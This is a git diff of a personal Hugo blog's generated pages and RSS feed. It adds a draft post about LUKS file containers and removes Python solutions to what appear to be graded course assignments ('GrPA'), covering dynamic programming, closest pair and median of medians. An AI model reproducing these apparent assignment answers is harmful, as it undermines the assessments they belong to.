</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> min_d
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>minDistance</span>(points):
</span></span><span style=display:flex><span> Px <span style=color:#f92672>=</span> sorted(points, key<span style=color:#f92672>=</span><span style=color:#66d9ef>lambda</span> p: p[<span style=color:#ae81ff>0</span>])
</span></span><span style=display:flex><span> Py <span style=color:#f92672>=</span> sorted(points, key<span style=color:#f92672>=</span><span style=color:#66d9ef>lambda</span> p: p[<span style=color:#ae81ff>1</span>])
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> round(closest_pair(Px, Py), <span style=color:#ae81ff>2</span>)
</span></span></code></pre></div><h2 id=grpa-4>GRPA 4</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>mid</span>(a):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> len(a) <span style=color:#f92672>&lt;=</span> <span style=color:#ae81ff>7</span>:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> sorted(a)[len(a)<span style=color:#f92672>//</span><span style=color:#ae81ff>2</span>]
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> []
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(<span style=color:#ae81ff>0</span>,len(a), <span style=color:#ae81ff>7</span>):
</span></span><span style=display:flex><span> m<span style=color:#f92672>.</span>append(mid(a[i:i<span style=color:#f92672>+</span><span style=color:#ae81ff>7</span>]))
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> mid(m)
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>MoM7Pos</span>(arr):
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> mid(arr)
</span></span><span style=display:flex><span> pos <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> arr:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672>&lt;</span> m:
</span></span><span style=display:flex><span> pos <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> pos
</span></span></code></pre></div></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

File diff suppressed because one or more lines are too long

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a class=post-link aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/></a></article><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a>
@@ -38,11 +38,5 @@
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a>
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><nav data-main><a href=#>Previous Page</a>
<a href=./page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><nav data-main><a href=#>Previous Page</a>
<a href=./page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

251
index.xml
View File

@@ -1,4 +1,10 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lavafroth</title><link>https://lavafroth.is-a.dev/</link><description>Recent content on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 02 Nov 2025 19:08:46 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lavafroth</title><link>https://lavafroth.is-a.dev/</link><description>Recent content on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Thu, 01 Jan 2026 07:24:36 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Working With LUKS File Stashes</title><link>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</link><pubDate>Thu, 01 Jan 2026 07:24:36 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</guid><description>&lt;p&gt;&lt;code&gt;THIS POST IS A DRAFT&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;LUKS is an incredible solution for encrypting entire partitions in Linux.
Often times, however, we can&amp;rsquo;t afford to create new partitions inside a disk
without having to completely format the drive anew.&lt;/p&gt;
&lt;p&gt;In this post, I will guide you through the process of creating and working
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;</description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
primarily due to the machine learning and data science hype. One
Rust feature that I dearly miss is enumerable data types
that can encapsulate various other data types.&lt;/p&gt;
@@ -9,246 +15,7 @@ versions, most tutorials will suggest &lt;code&gt;Union&lt;/code&gt; types as th
enums.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I highly encourage you to try out the code snippets and follow along with this article.
Use the collapse explanation button to copy multiple code blocks in one go.&lt;/p&gt;</description></item><item><title>note skta4v7n8h8</title><link>https://lavafroth.is-a.dev/skta4v7n8h8/</link><pubDate>Fri, 31 Oct 2025 20:24:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/skta4v7n8h8/</guid><description>&lt;h1 id="grpa-1"&gt;GrPA 1&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; typing &lt;span style="color:#f92672"&gt;import&lt;/span&gt; List
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;constructWord&lt;/span&gt;(s: str, chunks: List[str]) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; List[List[str]]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; memo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;solve&lt;/span&gt;(remaining_suffix: str) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; List[List[str]]:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; remaining_suffix:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; [[]]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; remaining_suffix &lt;span style="color:#f92672"&gt;in&lt;/span&gt; memo:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; memo[remaining_suffix]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; possible_combos &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; chunk &lt;span style="color:#f92672"&gt;in&lt;/span&gt; chunks:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; remaining_suffix&lt;span style="color:#f92672"&gt;.&lt;/span&gt;startswith(chunk):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; leftover_results &lt;span style="color:#f92672"&gt;=&lt;/span&gt; solve(remaining_suffix[len(chunk):])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; leftover_results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; rest &lt;span style="color:#f92672"&gt;in&lt;/span&gt; leftover_results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; possible_combos&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append([chunk] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; rest)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; memo[remaining_suffix] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; possible_combos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; possible_combos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; solve(s)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="grpa-2"&gt;GrPA 2&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; numpy &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; np
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MaxCoinPath&lt;/span&gt;(M, x1, y1, x2, y2):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; M &lt;span style="color:#f92672"&gt;=&lt;/span&gt; np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;array(M, dtype&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int)[x1:x2&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, y1:y2&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cost &lt;span style="color:#f92672"&gt;=&lt;/span&gt; np&lt;span style="color:#f92672"&gt;.&lt;/span&gt;zeros((M&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shape[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, M&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shape[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;), dtype&lt;span style="color:#f92672"&gt;=&lt;/span&gt;int)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(M&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shape[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; j &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(M&lt;span style="color:#f92672"&gt;.&lt;/span&gt;shape[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cost[i, j] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; max(M[i, j] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; cost[i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, j], M[i, j] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; cost[i, j&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; cost[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="grpa-3"&gt;GrPA 3&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LDS&lt;/span&gt;(arr):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(arr)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; n &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; memo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;*&lt;/span&gt; n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parent &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;*&lt;/span&gt; n
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_len &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; end_index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; j &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(i):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; arr[i] &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; arr[j] &lt;span style="color:#f92672"&gt;and&lt;/span&gt; memo[i] &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; memo[j] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; memo[i] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; memo[j] &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; parent[i] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; j
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; memo[i] &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; max_len:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_len &lt;span style="color:#f92672"&gt;=&lt;/span&gt; memo[i]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; end_index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; subsequence &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; current_index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; end_index
